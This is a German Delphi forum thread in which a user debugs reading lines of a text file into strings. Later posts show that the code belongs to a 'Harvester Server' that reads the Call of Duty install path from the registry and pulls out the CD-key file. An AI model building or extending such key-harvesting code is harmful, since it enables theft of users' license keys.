![]() |
Probleme beim String einlesen und übergeben
Nabend Leute,
ich kämpfe verzweifelt mit einen string problem (habe natürlich schon im forum gesucht): also ich habe eine text datei die ich in einen string einlade und zwar so:
Code:
AssignFile(f,Filepath);
Reset(f); while not EOF(f) do begin readln(f,s); // jetzt hier ein fehler beim übergeben des strings an einen weiteren string NewString := s; //<---der string wird nicht übergeben wenn ich ihn danach abrufen will, end; //----ist er leer CloseFile(f); Fehler NR2: der string hat mehrere zeilen und ich möchte nur die erste zeile des string an den 2ten string (newstring) übergeben ... bitte bitte helft mir ! thx cu agm65 |
Re: Probleme beim String einlesen und übergeben
Wie kommst du darauf das 's' mehrere Zeilen hat? Du liest die Datei doch mit
Delphi-Quellcode:
zeilenweise ein. Vielleicht steht in 's' nix drin? Ansonsten wüsste ich auch nicht weiter.
readln(f,s);
|
Re: Probleme beim String einlesen und übergeben
Wird NewString auch irgendwo verwendet? Ansonsten optimiert dir Delphi weg.
|
Re: Probleme beim String einlesen und übergeben
ja wird verwendet
|
Re: Probleme beim String einlesen und übergeben
Geht:
Delphi-Quellcode:
Irgendwo musst du noch was falch machen.
procedure TForm1.Button1Click(Sender: TObject);
var F: Textfile; s, NewString: String; begin AssignFile(F, 'c:\boot.ini'); {$I-} Reset(F); {$I+} if IOResult = 0 then begin while not EOF(F) do begin ReadLn(F, s); NewString := s; ShowMessage(NewString); end; CloseFile(F); end else RaiseLastOSError(); end; |
Re: Probleme beim String einlesen und übergeben
luckie, wie schneide ich denn von diesem string die erste zeile aus `? und übergebe nur die erste zeile des eingelesenen strings ?
|
Re: Probleme beim String einlesen und übergeben
Readln liest nur eine Zeile aus einer Textdatei. Die Borländer haben sich dabei schon was gedacht die Prozedur readline zu nennen.
|
Re: Probleme beim String einlesen und übergeben
nein macht es nicht , also ich hab das bei ner conole anwendung !
wenn ich dann
Code:
mache, gibt er mir die ganze text datei wieder ... ?
writeln(newstring)
|
Re: Probleme beim String einlesen und übergeben
Machst du eventeull sowas wie:
Delphi-Quellcode:
Glaub mir mein Code, so wie er da steht gibt mir für jede Zeile eine Messagebox aus. probier es auch. Button auf eine Form un den Code reinkopiert, nur noch den Pfad zur Datei anpassen und kucken und staunen. :roll:
NewString := NewString + s;
|
Re: Probleme beim String einlesen und übergeben
nein mache ich nicht .....ich kann dir mal den source schicken wenn du willst.....schreib mir ne icq message...das kenn echt nicht sein...
|
Re: Probleme beim String einlesen und übergeben
Häng es mal im Posting an.
|
Re: Probleme beim String einlesen und übergeben
das würde ich nur sehr ungerne machen ....komm jetzt gib dir nen ruck....was soll ist nur eine handbewegung für dich ... bitte !
|
Re: Probleme beim String einlesen und übergeben
Dann als Anhang an eine PN. Und hör endlich auf hier öffentlich weghen ICQ zu nerven, ich hatte meine Gründe. Punkt.
|
Re: Probleme beim String einlesen und übergeben
Delphi-Quellcode:
Mach mal die Augen auf und kuck dir die Ausgabe mal genau.
while not EOF(F) do
begin ReadLn(F, s); CoD := s; writeln(s) // <--- was ist das?!?!? end; CloseFile(F); writeln(cod); // <-- und was ist das?!?! |
Re: Probleme beim String einlesen und übergeben
das beides war nur für mich zum sehen was er ausgibt !
setz mal beides auf //...dann siehst du das es file not found ist und nicht cod + outro.... verstehst du ? |
Re: Probleme beim String einlesen und übergeben
Delphi-Quellcode:
So zeigt er mir nur die letzte zeile in der Datei an mit deinem Outro, wie es aich sein soll.
procedure GetKeys;
var s: string; Outro: string; f: textfile; CoD: string; // 21 begin try s := 'c:\boot.ini'; GetValueFromReg(HKLM, 'SOFTWARE\Activision\Call of Duty\', 'InstallPath'); if s <> '' then begin KeyPath := s; // + '\main\codkey'; AssignFile(F, KeyPath); Reset(F); while not EOF(F) do begin ReadLn(F, s); CoD := s; // writeln(s) end; CloseFile(F); //writeln(cod); end; Outro := 'Harvester Server v0.4 (c) AGM65 Maverick - [url]www.rnsys.de[/url] -'; ALLGAMES := CoD; if allgames <> '' then ALLGAMES := CoD + Outro; if allgames = '' then ALLGAMES := 'No CD Keys found! Harvester Server v0.4 (c) AGM65 Maverick - [url]www.rnsys.de[/url] -'; writeln(ALLGAMES); // Text ausgeben readln; // noch ne zeile lesen, damit das fenster nicht sofort wieder zugeht! except //showmessage('mach nix') end; end; |
Re: Probleme beim String einlesen und übergeben
also wenn der source so ist:
Code:
dann öffnet er die ganze key file und übergibt nicht den string( erste zeile aus der key file) an den string "cod"...
s := GetValueFromReg(HKLM,'SOFTWARE\Activision\Call of Duty\', 'InstallPath');
if s <> '' then begin KeyPath := s + '\main\codkey'; AssignFile(F, KeyPath); Reset(F); while not EOF(F) do begin ReadLn(F, s); CoD := s; //writeln(s) end; CloseFile(F); //writeln(cod); end; |
Re: Probleme beim String einlesen und übergeben
Ich habe irgendeine Textdatei genommen, welche ist doch egal.
|
Re: Probleme beim String einlesen und übergeben
ja komisch mit deine text datei (also der bootlog geht es wunderbar ..wieso mit der codkey nicht? villeicht wegrn der endung ?
luckie, du hast recht ...verdammte scheiße es lag an der text file....NEIN ICH DREH AB !! ALL DIE STUNDEN ....danke für deine zeit......man man man jetzt geht alles wunderbar so wies soll ! hab dank ! |
Re: Probleme beim String einlesen und übergeben
nein es geht wieder nicht argh .. er macht alles aus der text file mit rein :( !
nicht alles .....nur ab der 2ten zeile...ich könnte heulen ! |
Re: Probleme beim String einlesen und übergeben
Hai agm65,
nur mal zwei Fragen: a) Hat die Datei denn auch mehrere "Zeilen!!!". b) Gibt es in der Datei womöglich Steuercodes?. |
Re: Probleme beim String einlesen und übergeben
ja die datei hat sicher mehrere zeilen ! und steuercodes ??? kein plan !!!
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 16:48 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz